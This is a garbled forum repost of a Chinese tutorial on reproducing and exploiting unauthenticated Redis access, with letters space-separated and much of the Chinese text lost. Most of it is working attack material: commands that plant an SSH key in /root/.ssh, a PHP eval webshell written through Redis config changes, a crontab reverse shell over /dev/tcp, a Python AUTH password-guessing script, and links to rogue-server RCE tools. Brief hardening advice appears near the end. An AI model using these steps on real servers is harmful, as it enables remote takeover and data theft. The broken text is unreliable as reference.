[21146] 2020-07-18_Redis未授权访问漏洞复现与利用

文档创建者:s7ckTeam
浏览次数:6
最后更新:2025-01-18
2020-07-18_Redis未授权访问漏洞复现与利用 R e d i s 访 L e m o n S e c   2 0 2 0 - 0 7 - 1 8 1 r e d i s 访 访 R e d i s     0 . 0 . 0 . 0 : 6 3 7 9   i p   访   R e d i s   访 访   R e d i s     R e d i s   访   R e d i s     R e d i s   c o n f i g   s s h   / r o o t / . s s h   a u t h o t r i z e d _ k e y s   使 使 s s h 2 R e d i s U b u n t u 1 r e d i s   0 . 0 . 0 . 0 : 6 3 7 9 i p 访 2 r e d i s   1 访 f l u s h a l l 2 E V A L l u a 3 R e d i s r o o t r o o t S S H S S H w g e t   h t t p : / / d o w n l o a d . r e d i s . i o / r e l e a s e s / r e d i s - 2 . 8 . 1 7 . t a r . g z ( h t t p : / / d i s t f i l e s . m a c p o r t s . o r g / r e d i s /

I P 1 9 2 . 1 6 8 . 0 . 1 0 5 I P 1 9 2 . 1 6 8 . 0 . 1 0 4 r e d i s 使 r e d i s - c l i r e d i s
    访 访 使 r e d i s r e d i s r e d i s 1 r e d i s s h e l l s h e l l / h o m e / b m j o k e r / w e b s h e l l 使 r n r n r e d i s s h e l l s h e l l r e d i s s h e l l 2 r o o t r e d i s r o o t r o o t S S H S S H r e d i s r e d i s - s e r v e r   / e t c / r e d i s . c o n f     m k d i r   / r o o t / . s s h     s s h s s h 使 s s h 1 . r e d i s r e d i s - c l i 2 . w e b p h p i n f o d i r a d b f i l e n a m e b s a v e b g s a v e a / b s e t   x   " r n r n < ? p h p   p h p i n f o ( ) ; ? > r n r n " < ? p h p   s e t _ t i m e _ l i m i t ( 0 ) ; $ f p = f o p e n ( ' b m j o k e r . p h p ' , ' w ' ) ; f w r i t e ( $ f p , ' < ? p h p   @ e v a l ( $ _ P O S T [ " b m j o k e r " ] ) ; ? > ' ) ; e x i t ( ) ; ? >
. s s h c d   . s s h / 1 . t x t r e d i s s s h 1 . t x t r e d i s 使 r e d i s - c l i   - h   i p r e d i s r e d i s - c l i   - h   1 9 2 . 1 6 8 . 0 . 1 0 4   使   C O N F I G   G E T   d i r   r e d i s r e d i s s s h / r o o t / . s s h a u t h o r i z e d _ k e y s a u t h o r i z e d _ k e y s 退 s s h
使 s s h s s h   - i   i d _ r s a   r o o t @ 1 9 2 . 1 6 8 . 0 . 1 0 4 r e d i s 3 c r o n t a b s h e l l r e d i s : r e d i s s h e l l n c   - l v n p   4 4 4 4 r e d i s - c l i   - h   1 9 2 . 1 6 8 . 0 . 1 0 4 s e t   x x x   " n n * / 1   *   *   *   *   / b i n / b a s h   - i > & / d e v / t c p / 1 9 2 . 1 6 8 . 0 . 1 0 4 / 4 4 4 4   0 > & 1 n n "
s h e l l P y t h o n s e t   x x x   " n n * / 1   *   *   *   *   / b i n / b a s h   - i > & / d e v / t c p / 1 9 2 . 1 6 8 . 0 . 1 0 4 / 4 4 4 4   0 > & 1 n n " c o n f i g   s e t   d i r   / v a r / s p o o l / c r o n c o n f i g   s e t   d b f i l e n a m e   r o o t s a v e # !   / u s r / b i n / e n v   p y t h o n #   _ * _     c o d i n g : u t f - 8   _ * _ i m p o r t   s o c k e t i m p o r t   s y s P A S S W O R D _ D I C = [ ' r e d i s ' , ' r o o t ' , ' o r a c l e ' , ' p a s s w o r d ' , ' p @ a a w 0 r d ' , ' a b c 1 2 3 ! ' , ' 1 2 3 4 5 6 ' , ' a d m i n ' ] d e f   c h e c k ( i p ,   p o r t ,   t i m e o u t ) :         t r y :                 s o c k e t . s e t d e f a u l t t i m e o u t ( t i m e o u t )                 s   =   s o c k e t . s o c k e t ( s o c k e t . A F _ I N E T ,   s o c k e t . S O C K _ S T R E A M )                 s . c o n n e c t ( ( i p ,   i n t ( p o r t ) ) )                 s . s e n d ( " I N F O r n " )                 r e s u l t   =   s . r e c v ( 1 0 2 4 )                 i f   " r e d i s _ v e r s i o n "   i n   r e s u l t :                         r e t u r n   u " 访 "                 e l i f   " A u t h e n t i c a t i o n "   i n   r e s u l t :                         f o r   p a s s _   i n   P A S S W O R D _ D I C :                                 s   =   s o c k e t . s o c k e t ( s o c k e t . A F _ I N E T ,   s o c k e t . S O C K _ S T R E A M )                                 s . c o n n e c t ( ( i p ,   i n t ( p o r t ) ) )                                 s . s e n d ( " A U T H   % s r n "   % ( p a s s _ ) )                                 r e s u l t   =   s . r e c v ( 1 0 2 4 )                                 i f   ' + O K '   i n   r e s u l t :                                         r e t u r n   u " % s "   %   ( p a s s _ )         e x c e p t   E x c e p t i o n ,   e :                 p a s s i f   _ _ n a m e _ _   = =   ' _ _ m a i n _ _ ' :         i p = s y s . a r g v [ 1 ]         p o r t = s y s . a r g v [ 2 ]         p r i n t   c h e c k ( i p , p o r t ,   t i m e o u t = 1 0 )
1 I P   r e d i s . c o n f   # b i n d   1 2 7 . 0 . 0 . 1 # 1 2 7 . 0 . 0 . 1 访 r e d i s i p i p 访 r e d i s : r e d i s - s e r v e r : r e d i s - s e r v e r   p a t h / r e d i s . c o n f   , p a t h / r e d i s 访 r e d i s 2 r e d i s . c o n f r e q u i r e p a s s : - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - R e d i s R e d i s I P 2 1 9 . 1 5 3 . 4 9 . 2 2 8       w e b h t t p   4 1 9 3 8 7 r e d i s   4 8 0 5 5 k a l i r e d i s s s h r e d i s r e d i s / e t c / . s s h / s s h / e t c / . s s h / u b u n t u a p a c h e / v a r / w w w / h t m l / s h e l l : #   I f   y o u   w a n t   y o u   c a n   b i n d   a   s i n g l e   i n t e r f a c e ,   i f   t h e   b i n d   o p t i o n   i s   n o t #   s p e c i f i e d   a l l   t h e   i n t e r f a c e s   w i l l   l i s t e n   f o r   i n c o m i n g   c o n n e c t i o n s . # #   b i n d   1 2 7 . 0 . 0 . 1 r e q u i r e p a s s   y o u r p a s s w o r d y o u r p a s s w o r d r e d i s     : r e d i s - c l i   - h   y o u r I p   - p   y o u r P o r t / / r e d i s k e y s   *   / / k e y ( e r r o r )   E R R   o p e r a t i o n   n o t   p e r m i t t e d         : a u t h   y o u p a s s w o r d r e d i s - c l i   - h   2 1 9 . 1 5 3 . 4 9 . 2 2 8   - p   4 8 0 5 5
s h e l l w e b 访 s h e l l j o k e r . p h p f l a g : - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 便 g e t s h e l l   p y t h o n 1 . h t t p s : / / g i t h u b . c o m / n 0 b 0 d y C N / r e d i s - r o g u e - s e r v e r
2 . h t t p s : / / g i t h u b . c o m / R i d t e r / r e d i s - r c e R e d i s     h t t p : / / w w w . r u n o o b . c o m / r e d i s / r e d i s - i n s t a l l . h t m l R e d i s 访     h t t p : / / b l o g . c s d n . n e t / H u _ w e n / a r t i c l e / d e t a i l s / 5 5 1 8 9 7 7 7 ? l o c a t i o n N u m = 1 5 & f p s = 1 R e d i s   访   S S H   k e y       h t t p : / / b l o g . k n o w n s e c . c o m / 2 0 1 5 / 1 1 / a n a l y s i s - o f - r e d i s - u n a u t h o r i z e d - o f - e x p o l i t / R e d i s 访 姿   h t t p : / / w w w . j i a n s h u . c o m / p / e 5 5 0 6 2 8 b a 1 b c h t t p s : / / b b s . i c h u n q i u . c o m / f o r u m . p h p ? m o d = v i e w t h r e a d & t i d = 3 6 1 0 0 & h i g h l i g h t = r e d i s b m j o k e r h t t p s : / / w w w . c n b l o g s . c o m / b m j o k e r / p / 9 5 4 8 9 6 2 . h t m l
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则